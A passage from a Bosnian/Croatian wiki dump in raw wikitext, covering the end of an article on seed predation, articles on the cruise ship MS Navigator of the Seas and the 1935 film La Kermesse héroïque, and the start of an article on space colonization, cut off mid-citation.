odnosu na širenje sjemena == Adaptacije za odbranu sjemena od predacije mogu utjecati na sposobnost sjemena da klija i da se širi. Stoga se adaptacije protiv predacije često javljaju u nizu adaptacija za određeni životni ciklus sjemena. Na primjer, [[Capsicum|biljke čilija]] selektivno odvraćaju sisare, predatore sjemena i gljive, koristeći [[kapsaicin]], što ne odvraća ptice koje šire sjeme<ref>{{Cite journal |last1=Gary P. Nabhan |last2=Tewksbury |first2=Joshua J. |date=July 2001 |title=Seed dispersal: Directed deterrence by capsaicin in chillies |journal=Nature |volume=412 |issue=6845 |pages=403–404 |doi=10.1038/35086653 |issn=1476-4687 |pmid=11473305 |s2cid=4389051}}</ref><ref>{{Cite news |url=https://www.telegraph.co.uk/news/worldnews/northamerica/usa/1335366/Why-birds-find-chilli-peppers-so-cool.html |title=Why birds find chilli peppers so cool |newspaper=Daily Telegraph |last=Derbyshire |first=David |date=2001-07-25 |access-date=2019-03-14}}</ref> jer se receptori okusa ptica ne vežu za kapsaicin. Sjemenke čilija zauzvrat imaju veće stope preživljavanja ako prođu kroz ptičji želudac nego ako padnu na zemlju.<ref>{{Cite web |url=https://www.insidescience.org/news/bird-gut-boosts-wild-chili-seed-survival |title=Bird Gut Boosts Wild Chili Seed Survival |date=2013-07-15 |website=Inside Science |access-date=2019-03-14}}</ref> == Prije i poslije širenja == Predacija sjemena može se dogoditi i prije i nakon širenja sjemena.<ref name=FedrianiManzoneda2005>{{cite journal |last1=Fedriani |first1=J. M. |last2=Manzoneda |first2=A. |title=Pre- and post-dispersal seed predation by rodents: balance of food and safety |journal=Behavioral Ecology |year=2005 |volume=16 |issue=6 |page=1018 |doi=10.1093/beheco/ari082 |doi-access=free |hdl=10261/54608 |hdl-access=free }}</ref> === Poslije širenja === Predacija sjemena prije njegovog širenja odvija se kada se sjeme ukloni s matične biljke prije širenja, a to je najčešće zabilježeno kod beskičmenjaka, ptica i glodara koji se hrane zrnima i direktno skidaju plodove s drveća i zeljastih biljaka. Do predacije sjemena nakon širenja dolazi nakon što se ono oslobodi sa matične biljke, pri čemu su ptice, glodari i mravi među najčešćim konzumentima. Nadalje, takva predacija može se odvijati u dvije kontrastne faze: predacija na "kiši sjemena" i predacija na "banci sjemena". Dok se do predacije na kiši sjemena dolazi kada se životinje hrane oslobođenim sjemenkama, koje su obično u ravni s površinom tla, predacija na banci sjemena događa se nakon što sjeme duboko uraste u tlo.<ref name="Hulme Benkman 2002"/> === Nakon širenja === Predacija sjemena nakon širenja izuzetno je uobičajena u gotovo svim ekosistemima. S obzirom na heterogenost i u pogledu vrste resursa (sjeme različitih vrsta) i kvaliteta (sjeme različite starosti i/ili različitog statusa integriteta ili raspadanja) i lokacije (sjeme je raspršeno i skriveno u okolini), većina predatora nakon širenja ima generalistička ponašanja. Ti predatori pripadaju raznolikom nizu životinja, kao što su mravi, bube, rakovi, ribe, glodari i ptice. Skup životinja koje su predatori sjemena poslije širenja znatno varira među ekosistemima.<ref name="Hulme Benkman 2002"/> === Razlike === Both pre- and post-dispersal seed predation are common. Pre-dispersal predators differ from post-dispersal predators in most often being specialists, adapted to clustered resources (on the plant). They use specific cues like plant chemistry (volatile compounds), color, and size to locate seeds, and their short life cycles often match the production of seeds by the host plant. Insect groups containing many pre-dispersal seed predators are [[Coleoptera]], [[Hemiptera]], [[Hymenoptera]] and [[Lepidoptera]].<ref name="Hulme Benkman 2002"/> == Utjecaji na demografiju biljaka == {{further|Janzen-Connellova hipoteza}} The [[Janzen-Connell hypothesis |Janzen-Connell model]] concerns how seed density and survival respond to distance from the parent tree and differential rates of seed predation. Seed density often decreases as distance from the parent tree increases. Where seeds are most abundant under the parent tree, seed predation is predicted to be at its highest. As distance from the parent tree increases, seed abundance and thus seed predation are predicted to decrease as seed survival increases.<ref name=jansen>{{cite journal |author=Janzen, D. H. |year=1970 |title= Herbivores and the number of tree species in tropical foresets |journal=The American Naturalist |volume=104 |issue=940 |pages=592–595 |url=http://labs.bio.unc.edu/Peet/courses/Classics-2003/ReadingsPDFs/9_Nov6_Dispersal/PDFs/Janzen%201970.pdf |doi=10.1086/282687 |s2cid=84490190 }}</ref><ref name=connell>Connell, J.H. (1971) "On the role of natural enemies in preventing competitive excusion in some marine animals and in rainforest trees", pp. 298–312 in ''Dynamics of Populations'', ed. P.J. den Boer and G.R. Gradwell. Wageningen: Center for Agricultural Publishing and Documentation.</ref> Seed predation is sometimes powerful enough to limit seedling recruitment and hence the tree population (described as 'seed limited'). In dune habitats seed predators, deer mice, can limit seedling recruitment, but in grassland habitat they had little effect as the plant population was limited instead by the availability of safe sites ('safe site limited').<ref>{{cite journal |doi=10.1007/s004420050210 |pmid=28307508 |title=Effect of seed predation on seed bank size and seedling recruitment of bush lupine (''Lupinus arboreus'') |journal=Oecologia |volume=111 |issue=1 |pages=76–83 |year=1997 |last1=Maron |first1=John L. |last2=Simms |first2=Ellen L. |bibcode=1997Oecol.111...76M |s2cid=12464482 }}</ref> Seed predators sometimes support plant populations by dispersing seeds away from the parent plant, in effect supporting gene flow between populations. Other seed predators collect seeds and then cache them for later consumption. The hidden seed may be forgotten and then germinate and grow, supporting dispersal.<ref>Harper, J. L. (1977) ''Population Biology of Plants'', New York: Academic Press.</ref><ref name="VisserMuller-Landau2011">{{cite journal |last1=Visser |first1=Marco D. |last2=Muller-Landau |first2=Helene C. |last3=Wright |first3=S. Joseph |last4=Rutten |first4=Gemma |last5=Jansen |first5=Patrick A. |title=Tri-trophic interactions affect density dependence of seed fate in a tropical forest palm |journal=Ecology Letters |volume=14 |issue=11 |year=2011 |pages=1093–1100 |issn=1461-023X |doi=10.1111/j.1461-0248.2011.01677.x |pmid=21899693 |bibcode=2011EcolL..14.1093V }}</ref> == Povezano == * [[Interakcije potrošača i resursa]] * [[Predacija jaja]] * [[Mrav sakupljač]] * [[Biljojed]] * [[Širenje sjemena]] == Reference == {{reflist |30em}} == Daljnje čitanje == {{refbegin}} * {{cite journal |last1=Alexander |first1=H.M. |last2=Cummings |first2=C.L. |last3=Kahn |first3=L. |last4=Snow |first4=A.A. |year=2001 |title=Seed size variation and predation of seeds produced by wild and crop–wild sunflowers |journal=American Journal of Botany |volume=88 |issue=4 |pages=623–627 |doi=10.2307/2657061 |jstor=2657061 |pmid=11302847 |s2cid=25202784 |ref=none}} * {{cite journal |last1=Andersen |first1=A.N. |year=1989 |title=How Important Is Seed Predation to Recruitment in Stable Populations of Long-Lived Perennials? |journal=Oecologia |volume=81 |issue=3 |pages=310–315 |doi=10.1007/bf00377076 |pmid=28311181 |bibcode=1989Oecol..81..310A |s2cid=38556236 |ref=none}} * {{cite journal |last1=Berenbaum |first1=M.R |last2=Zangerl |first2=AR. |year=1998 |title=Chemical phenotype matching between a plant and its insect herbivore |journal= Proceedings of the National Academy of Sciences |volume=95 |issue=23 |pages=13743–13784 |doi=10.1073/pnas.95.23.13743 |pmid=9811871 |pmc=24890 |bibcode=1998PNAS...9513743B |doi-access=free |ref=none}} * {{cite journal |last1=Brown |first1=J.H. |last2=Heske |first2=E.J. |year=1990 |title=Control of a desert-grassland transition by a keystone rodent guild |journal=Science |volume=250 |issue=4988 |pages=1705–1707 |doi=10.1126/science.250.4988.1705 |bibcode=1990Sci...250.1705B |pmid=17734708 |s2cid=33357407 |ref=none}} * {{cite journal |last1=Brown |first1=J.H. |last2=Reichman |first2=O.J. |last3=Davidson |first3=D.W. |year=1979 |title=Granivory in desert ecosystems |journal=Annual Review of Ecology and Systematics |volume=10 |pages=201–227 |doi=10.1146/annurev.es.10.110179.001221|ref=none}} * {{cite journal |last1=Davidson |first1=D.W. |year=1993 |title=The Effects of Herbivory and Granivory on Terrestrial Plant Succession |journal=Oikos |volume=68 |issue=1 |pages=23–35 |doi=10.2307/3545305 |jstor=3545305 |bibcode=1993Oikos..68...23D |ref=none}} * {{cite journal |last1=Davidson |first1=D.W. |last2=Brown |first2=J.H. |last3=Inouye |first3=R.S. |year=1980 |title=Competition and the Structure of Granivore Communities |journal=BioScience |volume=30 |issue=4 |pages=233–238 |doi=10.2307/1307877 |jstor=1307877 |s2cid=53579517 |ref=none}} * {{cite journal |last1=Diaz |first1=M. |last2=Telleria |first2=J.L. |year=1996 |title=Granivorous Birds in a Stable and Isolated Open Habitat within the Amazonian Rainforest |journal=Journal of Tropical Ecology |volume=12 |issue=3 |pages=419–425 |doi=10.1017/s0266467400009615 |s2cid=85301240 |ref=none}} * {{cite journal |last1=Figueroa |first1=J.A. |last2=Muñoz |first2=A.A. |last3=Mella |first3=J.E. |last4=Arroyo |first4=M.T. K. |year=2002 |title=Pre- and post-dispersal seed predation in a Mediterranean-type climate montane sclerophyllous forest in central Chile |journal=Australian Journal of Botany |volume=50 |issue=2 |pages=183–195 |doi=10.1071/bt01003|ref=none}} * {{cite journal |last1=Lundgren |first1=J |last2=Rosentrater |first2=K |year=2007 |title=The strength of seeds and their destruction by granivorous insects |journal=Arthropod-Plant Interactions |volume=1 |issue=2 |pages=93–99 |doi=10.1007/s11829-007-9008-1 |bibcode=2007APInt...1...93L |s2cid=6410974 |ref=none}} * {{cite journal |last1=Mares |first1=M.A. |last2=Rosenzweig |first2=M.L. |year=1978 |title=Granivory in North and South American Deserts: Rodents, Birds, and Ants |journal=Ecology |volume=59 |issue=2 |pages=235–241 |doi=10.2307/1936368 |jstor=1936368 |bibcode=1978Ecol...59..235M |ref=none}} * {{cite journal |last1=Oliveras |first1=J. |last2=Gomez |first2=C. |last3=Bas |first3=M. |last4=Espadaler |first4=X. |year=2008 |title=Mechanical Defence in Seeds to Avoid Predation by a Granivorous Ant |journal=Naturwissenschaften |volume=95 |issue=6 |pages=501–506 |doi=10.1007/s00114-008-0349-0 |pmid=18288470 |bibcode=2008NW.....95..501O |s2cid=676214 |ref=none}} * {{cite journal |last1=Sallabanks |first1=R. |last2=Courtney |first2=S.P. |year=1992 |title=Frugivory, Seed Predation and Insect- Vertebrate Interactions |journal=Annual Review of Entomology |volume=37 |pages=337–400 |doi=10.1146/annurev.en.37.010192.002113 |pmid=1539939 |ref=none}} * {{cite journal |last1=Smith |first1=CC |year=1970 |title=The coevolution of pine squirrels (Tamiasciurus) and conifers |journal=Ecological Monographs |volume=40 |issue=3 |pages=349–371 |doi=10.2307/1942287 |jstor=1942287 |bibcode=1970EcoM...40..349S |ref=none}} * {{cite journal |last1=Vander Wall |first1=S.B. |last2=Kuhn |first2=K.M. |last3=Beck |first3=M.J. |year=2005 |title=Seed Removal, Seed Predation, and Secondary Dispersal |journal=Ecology |volume=86 |issue=3 |pages=801–806 |doi=10.1890/04-0847 |bibcode=2005Ecol...86..801V |ref=none}} {{refend}} {{načini ishrane}} 6xume7qzlyc91f3pnrsf4gq3e8niq2c 0 241043 42602706 42463709 2026-05-28T09:56:58Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602706 wikitext text/x-wiki {{Infookvir brod |ime broda =MS Navigator of the Seas |slika broda =[[Datoteka:Navigator of the Seas, Puerto de la Bahía de Cádiz.jpg|290px]] |opis slike =''Navigator of the Seas'' |država pripadnosti =[[Norveška]]/[[SAD]] |zastava broda =[[Datoteka:Civil Ensign of the Bahamas.svg|105px]] |imenjak = |klasa broda =[[Klasa Voyager|Voyager]]<br />brod za krstarenje |naručitelj broda =''Royal Caribbean International'' |brodogradilište =''Aker Finnyards'' (NB 1347),<ref name="NOTS1">{{cite web |publisher=Merima |url=http://www.merima.fi/eng/references/41/ships |title=DELIVERIES, new building and refurbishment/revitalization projects |access-date=2013-09-05 |archivedate=2009-05-13 |archiveurl=https://web.archive.org/web/20090513070905/http://www.merima.fi/eng/references/41/ships |deadurl=yes }}</ref><br />[[Turku]], [[Finska]] |kobilica položena =27. rujna 2000.<ref name="NOTS2">{{cite web |publisher=DET NORSKE VERITAS |url=https://exchange.dnv.com/exchange/main.aspx?extool=vessel&subview=yard&vesselid=22759 |title=Yard |access-date=2013-09-05 |archivedate=2012-06-12 |archiveurl=https://web.archive.org/web/20120612233400/https://exchange.dnv.com/exchange/main.aspx?extool=vessel&subview=yard&vesselid=22759 |deadurl=yes }}</ref> |porinuće =25. siječnja 2002.<ref name="NOTS2"/> |kum broda =[[Steffi Graf]]<ref name="NOTS3">{{cite web |publisher=Royal Caribbean International |url=http://www.royalcaribbean.com/findacruise/ships/class/ship/home.do?shipCode=NV |title=Navigator of the Seas }}</ref> |brod nabavljen = |stavljen u službu ='''Isporučen''' 18. studenoga 2002.<ref name="NOTS4">{{cite web |publisher=Royal Caribbean International |url=http://www.royalcaribbean.com/ourCompany/pressCenter/pressReleases/info.do;jsessionid=0000ZRoyCr2W-GE2OHOvDE1IHU4:12hbiocus?prDate=11-18-2002&prCode=A |title=Press Release }}</ref><br />'''Prvo putovanje''' 14, prosinca 2002.<ref name="NOTS3"/> |povučen iz službe = |ponovno stavljen u službu = |ponovno stavljen izvan službe = |izvan službe = <!--privremeno--> |preimenovan = |reklasificiran = |preinake = |zapljenjen = |status =u službi |matična luka =[[Nassau]], [[Bahami]] |istisnina =tonaža 138 279 ([[Registarska tona|brt]])<ref name="NOTS5">{{cite web |publisher=DET NORSKE VERITAS |url=https://exchange.dnv.com/exchange/main.aspx?extool=vessel&subview=summary&vesselid=22759 |title=Summary |access-date=2013-09-05 |archivedate=2012-02-25 |archiveurl=https://web.archive.org/web/20120225083209/https://exchange.dnv.com/exchange/main.aspx?extool=vessel&subview=summary&vesselid=22759 |deadurl=yes }}</ref> |dužina broda =311 [[metar|m]]<ref name="NOTS6">{{cite web |publisher=DET NORSKE VERITAS |url=https://exchange.dnv.com/exchange/main.aspx?extool=vessel&subview=dimensions&vesselid=22759 |title=Dimensions |access-date=2013-09-05 |archivedate=2012-06-12 |archiveurl=https://web.archive.org/web/20120612230938/https://exchange.dnv.com/exchange/main.aspx?extool=vessel&subview=dimensions&vesselid=22759 |deadurl=yes }}</ref> |širina broda =49,1 [[metar|m]]<ref name="NOTS7">{{cite web |publisher=ship-technology.com |url=http://www.ship-technology.com/projects/navigator/specs.html |title=Specifications |access-date=2013-09-05 |archive-date=2009-07-31 |archive-url=https://web.archive.org/web/20090731132734/http://www.ship-technology.com/projects/navigator/specs.html |dead-url=yes }}</ref> |visina =72,3 [[metar|m]] od kobilice do vrha dimnjaka (15 paluba)<ref name="NOTS8">{{cite web |publisher=ship-technology.com |url=http://www.ship-technology.com/projects/navigator/ |title=Navigator of the Seas - Cruise Liner }}</ref> |gaz =8,6 [[metar|m]]<ref name="NOTS8"/> |pogon =6 [[Dizelski motor|dizel motora]] ''Wärtsilä'' 12V46C,<ref name="NOTS7"/><ref name="NOTS9"/> ukupno 75 600 [[kW]] (101 381 [[Konjska snaga|ks]]), <br />3 pogonske elektro-gondole<br />''Asea Brown Boveri (ABB) Azipod'',<ref name="NOTS9"/><ref name="AOTS9">{{cite web |publisher=ABB |url=http://www.abb.com/cawp/seitp202/907025448E23E01BC125716800328EBF.aspx |title=Freedom of the Seas - powered and propelled by ABB |access-date=2013-09-05 |archive-date=2020-02-24 |archive-url=https://web.archive.org/web/20200224083028/http://www.abb.com/cawp/seitp202/907025448E23E01BC125716800328EBF.aspx }}</ref> jedna fiksna, dvije azimutne, svaka 14&nbsp;[[MW]]<br />4 pramčana potisnika<br />''Rolls-Royce/Kamewa''<ref name="NOTS9">{{cite web |publisher=DET NORSKE VERITAS |url=https://exchange.dnv.com/exchange/main.aspx?extool=vessel&subview=machinerysummary&vesselid=22759 |title=Machinery Summary }}</ref> |brzina =22 [[čvor]]a (40,7 km/h)<ref name="NOTS7"/> |doplov = <!--dolet kod aviona--> |izdržljivost = <!--podvodna autonomija za podmornice--> |dubina zarona = <!--pod vodom za podmornice--> |brodski čamci = |kapacitet =3114 putnika |posada =1180 |trupe = <!--kod vojnih brodova--> |radari = |elektronika = |naoružanje = |streljivo = |oklop = |avioni = <!--za nosače aviona--> |zrakoplovna oprema = <!--za nosače aviona--> |geslo = |nadimak = |počasti = |napomene =IMO No: 9227508<br />Pozivni znak ''C6FU4''<br />Službena stranica [http://www.royalcaribbean.com/findacruise/ships/class/ship/home.do?shipCode=NV royalcaribbean.com ] }} '''[[Dodatak:Popis brodskih prefiksa|MS]] Navigator of the Seas''' je [[Norveška|norveško]]-[[SAD|američki]] [[brod za krstarenje]], izgrađen [[2002]]. u [[Finska|finskom]] brodogradilištu ''Aker Finnyards'' (današnji ''STX Europe'') u gradu Turku, za kompaniju ''Royal Caribbean International''. Četvrti izgrađeni brod iz klase ''Voyager''. Do izgradnje prekoocenskog broda ''[[Queen Mary 2]]'' 2004. godine, bio je najveći [[putnički brod]] na svijetu. == Izgradnja == Kao i ostali brodovi klase ''Voyager'', ''Navigator of the Seas'' projektiran je u uskoj suradnji Royal Caribbeana i [[Brodogradilište|brodogradilišta]] ''Aker Finnyards''. Izgradnja je započela [[2000]], te je iz [[Suhi dok|doka]] isplovio 25. siječnja 2002. Po dovršenju krajem 2002., s neznatno većom tonažom u odnosu na blizanca ''[[Explorer of the Seas]]'', preuzeo je primat najvećeg putničkog broda na svijetu. Također, ''Navigator of the Seas'' prvi je od dva posljednja broda iz klase koje karakterizira modificirani dizajn kabina i balkona s pogledom na morem, riješenje kasnije primjenjeno i na brodovima [[Klasa Freedom|klase Freedom]], koji su produžena verzija klase Voyager. Isporučen je naručitelju 18. studenoga 2002., dok je ceremonija krštenja obavljena u [[Miami]]ju 6. prosinca. Na prvo putovanje isplovio je 14, prosinca 2002. Cijena izgradnje bila je oko 500 milijuna [[Američki dolar|američkih dolara]].<ref name="NOTS10">{{cite web |publisher=Seaview |url=http://www.seaview.co.uk/cruiselines/royalcaribbean/navigator_profile.html |title=Profile }}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> == Tehničke karakteristike == ''Navigator of the Seas'' dugačak je 311 m i širok 49,1 m. Plovi brzinom od 22 čvora (40,7&nbsp;km/h), što omogućavaju 6 ''[[Wärtsilä]]'' 12V46C [[Dizelski motor|dizel motora]], ukupne snage 75 600 [[kW]] (101 381 [[Konjska snaga|ks]]). Potisak omogućavaju 3 ''Asea Brown Boveri (ABB) Azipod'' pogonske elektro-gondole - jedna fiksna, dvije azimutne, ukupne snage 42 [[MW]]. Brod također raspolaže s 4 ''Rolls-Royce/Kamewa'' pramčana potisnika radi lakšeg manevriranja u lukama. == Interijeri == Brod raspolaže s 15 [[paluba]], ukupno 1557 kabina od kojih 1077 (69%) s pogledom na more, 753 (48,4%) s balkonom i 138 (9%) s pogledom na unutrašnji ''Royal Promenade''.<ref name="NOTS7"/> Najveći apartman, ''Royal Suite'', prostire se na 123 m², ne računajući balkon s 23 m² .<ref name="NOTS11">{{cite web |publisher=RoyalCaribbean |url=http://www.royalcaribbean.com/findacruise/cabinclass/cabinTypes/cabinType/home.do?br=R&cabinType=RS&cabincls=D&shipCode=NV |title=Royal Suite }}</ref> Kapacitet putnika je 3114, ili 3807 pri maksimalnoj popunjenosti, što zajedno s posadom od 1213 čini ukupno 5020 ljudi na brodu. Također se ističu 120 m<ref name="NOTS12">{{cite web |publisher=marinelog.com |url=http://www.marinelog.com/DOCS/NEWSMMIII/MMIIIOct29.html |title=Kvaerner Masa-Yards delivers Mariner of the Seas |access-date=2013-09-05 |archivedate=2010-01-15 |archiveurl=https://web.archive.org/web/20100115110357/http://marinelog.com/DOCS/NEWSMMIII/MMIIIOct29.html |deadurl=yes }}</ref> dugačka, 9 m široka i četiri palube visoka središnja šetno-trgovačka šetnica (''Royal Promenade'') oko koje su koncentrirani glavni restorani, trgovački i zabavni centri. Na svakom kraju promenade, kroz 11 paluba uzdiže se atrij s panoramskim dizalima. Brod također raspolaže s kazalištem za 1350 gledalaca.<ref name="NOTS13">{{cite web |publisher=cruisemates.com |url=http://www.cruisemates.com/articles/reviews/rci/navigator.cfm |title=Public Rooms }}</ref> Putnicima je namjenjen niz atrakcija i zabava, među kojima se ističu klizalište na ledu, košarkaški teren i zid za planinarenje.<ref name="NOTS3"/> == Destinacije == ''Navigator of the Seas'' bazira u [[Miami]]ju i [[Fort Lauderdale]]u na [[Florida|Floridi]] u SAD-u, odakle tjedno isplovljava na četverodnevna do sedmodnevna krstarenja tijekom kojih pristaje u Cozumel u [[Meksiko|Meksiku]], Belize City u [[Belize]]u, Labadee na [[Haiti]]ju, Ocho Rios i Falmouth na [[Jamajka|Jamajci]], George Town na [[Kajmanski otoci|Kajamanskom otočju]] i [[Nassau]] na [[Bahami]]ma. U ponudi je također i prekoatlantsko krstarenje s polaskom iz Miamija i pristajanjima u [[Santa Cruz de Tenerife]] na [[Kanari]]ma, [[Barcelona|Barceloni]] u [[Španjolska|Španjolskoj]], Villefranche-sur-Mer u [[Francuska|Francuskoj]], te [[Livorno|Livornu]] i [[Civitavecchia|Civitavecchiji]] u [[Italija|Italiji]]. == Povezano == * '''[[Klasa Voyager]]''' ** ''[[MS Voyager of the Seas]]'' ** ''[[MS Explorer of the Seas]]'' ** ''[[MS Adventure of the Seas]]'' ** ''[[MS Mariner of the Seas]]'' == Galerija == <center><gallery> Datoteka:Navigator of the Seas, Port Gdynia.jpg|U [[Gdynia|Gdyniji]] ([[Poljska]]) 2007. Datoteka:Navigator of the Seas, Puerto de la Bahía de Cádiz 2.jpg|[[Cádiz (grad)|Cádiz]], [[Španjolska]] 2007. Datoteka:Navigator of the Seas, Puerto de la Bahía de Cádiz 3.jpg|[[Cádiz (grad)|Cádiz]], [[Španjolska]] 2007. Datoteka:Navigator of the Seas, Puerto de la Bahía de Cádiz 4.jpg|[[Cádiz (grad)|Cádiz]], [[Španjolska]] 2007. </gallery></center> == Izvori == {{izvori}} == Vanjske veze == {{Commonscat|Navigator of the Seas (ship, 2002)}} * [http://www.royalcaribbean.com/findacruise/ships/class/ship/home.do?shipCode=NV Službena stranica - royalcaribbean.com ] * [http://www.cruisecritic.com/reviews/review_page2.cfm?ShipID=264 ''Navigator of the Seas Review'' - cruisecritic.com ] {{Webarchive|url=https://web.archive.org/web/20100507150932/http://www.cruisecritic.com/reviews/review_page2.cfm?ShipID=264 |date=2010-05-07 }} * [http://www.ship-technology.com/projects/navigator/ Ship-Technology.com ] * [http://www.shipparade.com ''Navigator of the Seas'' - shipparade.com ] {{Webarchive|url=https://web.archive.org/web/20121219235215/http://www.shipparade.com/ |date=2012-12-19 }} Fotografije i tehnički podaci * [http://www.seascanner.com/schiffsposition.php?schiff=Navigator+of+the+Seas Aktualna pozicija - seascanner.com ] {{Webarchive|url=https://web.archive.org/web/20130823061740/http://www.seascanner.com/schiffsposition.php?schiff=Navigator+of+the+Seas |date=2013-08-23 }} * [http://www.seascanner.com/deckplan.php?schiff=Navigator+of+the+Seas Raspored paluba - seascanner.com ] {{Webarchive|url=https://web.archive.org/web/20131014163118/http://www.seascanner.com/deckplan.php?schiff=Navigator+of+the+Seas |date=2013-10-14 }} * [http://www.cruisedeckplans.com/DP/Main/dragit2.php?ship=Navigator%20of%20the%20Seas Raspored paluba - cruisedeckplans.com ] {{Royal Caribbean International}} {{DEFAULTSORT:Navigator of the Seas}} [[Kategorija:Brodovi 2002.]] [[Kategorija:Brodovi za krstarenje]] [[Kategorija:Royal Caribbean International]] s4q8y4tr4tdxrbvwgbfqki6qt92y9vn 0 244526 42602609 42317973 2026-05-27T21:26:03Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602609 wikitext text/x-wiki {{Infokutija film | tip = c/b | naslov = La Kermesse héroïque | slika = LaKermesseHéroique.jpg | opis = poster | režija = [[Jacques Feyder]] | producent = [[Pierre Guerlais]] | scenario = Jacques Feyder<br />[[Charles Spaak]] (sinopsis)<br />[[Robert A. Stemmle]]<br />[[Bernard Zimmer]] (dijalozi) | uloge = [[Françoise Rosay]]<br />[[Jean Murat]]<br />[[André Alerme]] | muzika = [[Louis Beydts]] | fotografija = [[Harry Stradling Sr.]] | montaža = [[Jacques Brillouin]] | distributer = [[Films Sonores Tobis]] | premijera = {{Film date|1935|12|3|Francuska|1936|1|15|Njemačka|df=y}} | trajanje = 110 min. | zemlja = {{flagcountry|FRA}}<br />{{flagicon|Treći rajh}} [[Treći rajh|Njemačka]] | jezik = francuski<br />njemački (posebna verzija) }} '''''La Kermesse héroïque''''' ({{jez-sh|Herojsko proštenje}}) je [[francuska|francusko]]-[[njemačka|njemački]] crno-bijeli film snimljen 1935. u režiji [[Jacques Feyder|Jacquesa Feydera]]. Po žanru je mješavina [[historijski film|historijskog filma]] i [[romantična komedija|romantične komedije]]. Radnja je smještena u gradić [[Boom (Belgija)|Boom]] u [[Belgija|Belgiji]] u koga 1616. godine namjeravaju ući pripadnici španske vojske, tjerajući građane da na razne domišljate načine pokušaju spriječiti pljačku i druge nedaće. Film je snimljen u dvije [[višejezični film|verzije]] - na francuskom, i na [[njemački jezik|njemačkom]] jeziku pod naslovom '''''Die klugen Frauen'''''. Predstavljao je ambiciozan projekt, kojim je Feyder htio odati počast [[Flandrija|flandrijskim]] slikarima, te je tokom snimanja u pariškim studijama raskošno rekonstruriano flandrijsko selo. Nakon premijere je ''La Kermesse héroïque'' imao veliki uspjeh, te osvojio niz prestižnih nagrada, uključujući Mussolinijev kup za režiju na [[Venecijanski filmski festival|Venecijanskom filmskom festivalu]]. U Feyderovoj domovini je, pak, izazvao kontroverze jer je shvaćen kao alegorija na [[Flamanci|flamansku]] [[kolaboracija|kolaboraciju]] sa [[Njemačko Carstvo|njemačkim]] okupatorima u [[prvi svjetski rat|prvom svjetskom ratu]]. 1953. je po njegovim motivima na [[Broadway]]u postavljen mjuzikl ''[[Carnival in Flanders (mjuzikl)|Carnival in Flanders]]''. == Vanjske veze == * {{IMDb title|id=0026564|title=La Kermesse héroïque}} * {{tcmdb title|id=724174|title=Carnival in Flanders}} * {{rotten-tomatoes|id=carnival_in_flanders|title=Carnival in Flanders}} * [http://filmsdefrance.com/FDF_La_kermesse_heroique_rev.html ''La Kermesse héroïque''] {{Webarchive|url=https://web.archive.org/web/20130116194515/http://filmsdefrance.com/FDF_La_kermesse_heroique_rev.html |date=2013-01-16 }} at filmsdefrance {{Jacques Feyder}} {{Normativna kontrola}} {{DEFAULTSORT:Kermesse heroique}} [[Kategorija:Francuski filmovi]] [[Kategorija:Njemački filmovi]] [[Kategorija:Romantične komedije]] dxznchgvwsmpj134vfoil7efuga5af8 0 248089 42602551 42590150 2026-05-27T13:49:56Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602551 wikitext text/x-wiki [[Datoteka:TerraformedMarsGlobeRealistic.jpg|thumb|250x250px|Umjetnički koncept [[teraformiranje|teraformiranog]] [[Mars]]a s pogledom na Valles Marineris.]] '''Kolonizacija svemira''' (također: '''naseljavanje svemira''', '''izvanzemaljska kolonizacija''') predstavlja trajno ljudsko naseljavanje mjesta izvan planeta [[Zemlja|Zemlje]]. U korist kolonizacije svemira može se iznijeti nekoliko argumenata, od kojih su dva najčešća: opstanak ljudske [[Civilizacija|civilizacije]] i [[Biosfera|biosfere]] u slučaju mogućih katastrofa (prirodnih ili uzrokovanih ljudskim djelovanjem), te ogromni resursi koji se nalaze u svemiru i koji se mogu iskoristiti za ekspanziju ljudskog društva. Međutim, u ovom trenutku izgradnja svemirske kolonije predstavljala bi iznimno težak i krajnje skup projekt. Svemirske nastambe bi morale pružati sav potreban materijal za stotine ili hiljade ljudi u vanzemaljskom okruženju koje nije nimalo naklono preživljavanju ljudskih bića. Tu bi spadale i tehnologije, kao što su [[zatvoreni sistemi za održavanje života]], koje tek trebaju da se razviju. One bi se također morale uhvatiti u koštac s pitanjem kako će se ljudi ponašati i dugoročno živjeti na takvim mjestima. Dosad nije izgrađena nijedna svemirska kolonija, niti bilo koja vlada ili velika privatna organizacija ima plan za izgradnju jedne takve kolonije. Međutim, postoji mnogi prijedlozi, nagađanja i nacrti za svemirske nastambe te postoji znatan broj zagovaratelja svemirske kolonizacije. Nekoliko poznatih naučnika, kao što je [[Freeman Dyson]], također je javno progovorilo u korist kolonizacije svemira. == Razlozi == === Opstanak ljudske vrste === Primarni argument u korist svemirske kolonizacije kao prioritet prvog reda jest da se osigura opstanak ljudske civilizacije razvojem alternativnih lokacija izvan Zemlje na kojima bi čovječanstvo moglo nastaviti postojati u slučaju prirodne ili katastrofe uzrokovane ljudskim djelovanjem. Teoretičar fizike i kozmolog [[Stephen Hawking]] je u dva navrata, 2001. i 2006., iznio argumente u korist kolonizacije svemira kao načina spašavanja čovječanstva. 2001. je predskazao da će ljudska vrsta izumrijeti u sljedećih hiljadu godina ukoliko se ne uspostave kolonije u svemiru.<ref>Highfield, Roger, [http://www.telegraph.co.uk/news/uknews/1359562/Colonies-in-space-may-be-only-hope-says-Hawking.html "Colonies in space may be only hope, says Hawking"], ''The Telegraph'', 16. oktobra 2001. (preuzeto 29. oktobra 2013). {{En icon}}</ref> U novijoj izjavi iz 2006. rekao je da se pred čovječanstvom nalaze dvije mogućnosti: ili ćemo u sljedećih dvjesto godina kolonizirati svemir i sagraditi nastambe na drugim planetima ili ćemo se suočiti s prospektom dugoročnog izumiranja.<ref>[http://www.dailymail.co.uk/sciencetech/article-419573/Mankind-colonise-planets-survive-says-Hawking.html "Mankind must colonise other planets to survive, says Hawking"], ''Daily Mail'', 1. decembra 2006. (preuzeto 29. oktobra 2013). {{En icon}}</ref> Louis J. Halle, bivši uposlenik američkog [[Stejt department]]a, u časopisu ''Foreign Affairs'' 1980. napisao je da će kolonizacija svemira zaštititi čovječanstvo u slučaju globalnog [[Nuklearni rat|nuklearnog rata]].<ref>Halle, Louis J., [http://www.foreignaffairs.com/articles/33959/louis-j-halle/a-hopeful-future-for-mankind "A Hopeful Future for Mankind"], ''Foreign Affairs'', 